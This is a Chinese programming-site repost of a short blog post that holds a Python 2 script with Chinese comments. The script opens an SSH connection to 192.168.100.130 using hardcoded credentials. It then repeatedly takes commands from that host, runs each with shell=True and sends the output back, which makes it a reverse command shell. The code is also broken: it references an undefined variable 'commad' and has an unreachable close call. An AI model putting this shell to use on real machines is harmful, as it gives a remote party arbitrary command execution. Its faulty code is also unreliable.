首页 > 编程语言 > 详细

python

时间:2016-06-08 06:57:46      阅读:234      评论:0      收藏:0      [点我收藏+]
import threading#引入 线程包
import paramiko#引入ssh 包
import subprocess#引入 子进程

def ssh_command(ip,user,passwd,command):#运行 参数 ip,user ,passwd,command
    client = paramiko.SSHClient()#创建 连接 对象
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 设置自动
    client.connect(ip,username=user,password=passwd)#连接开始
    ssh_session = client.get_transport().open_session()#进行了 open 处理
    if ssh_session.active:# 如果正确了
        ssh_session.send(commad)#发送信息
        print ssh_session.recv(1024)# 接收信息
        while True:
            command = ssh_session.recv(1024)#接收信息
            try:
                cmd_output = subprocess.check_output(command,shell=True)#子节点运行
                ssh_session.send(cmd_output)#发送数据
            except Exception,e:
                ssh_session.send(str(e))#报错
        client.close()#关闭
    return
ssh_command(‘192.168.100.130‘,‘justin‘,‘lovesthepython‘,‘ClientConnect‘)


本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1787127

python

原文:http://jingshanls.blog.51cto.com/3357095/1787127

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!